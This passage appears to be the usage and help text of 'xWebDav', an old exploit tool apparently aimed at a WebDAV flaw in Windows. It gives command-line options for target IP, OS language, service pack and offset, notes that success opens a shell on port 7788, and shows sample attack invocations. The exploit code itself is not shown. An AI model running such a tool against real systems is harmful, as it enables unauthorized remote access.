ey4s<cooleyas@21cn.com>\n" "Thanks to yuange,moda,isno.\n" "2004-04-24\n" "if success, telnet to target:7788\n\n" "usage: xWebDav <-i ip> [-h host] [-p port] [-t OsType] [-s sp] [-o offset]\n\n" "[OsType]\n" "0\tSimplified Chinese,Traditional Chinese.\n" "1\tJapanese,Korean.\n" "2\tOS is English edition and system default codepage is CN、TW、JP、KR.\n\n" "[sp]\n" "0\tservice pack 0(default install,not any patch)\n" "1\tservice pack 1\n" "2\tservice pack 2\n" "3\tservice pack 3\n\n" "[offset]\n" "7-80\n\n" "[example]\n" "xWebDav -i 1.1.1.1 <- brute force mode\n" "xWebDav -i 1.1.1.1 -t 1 <- try exploit JP、KR sp0-3\n" "xWebDav -i 1.1.1.1 -t 1 -s 3 -o 23 <- try exploit JP、KR sp3 use offset 23\n\n"); } -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-= |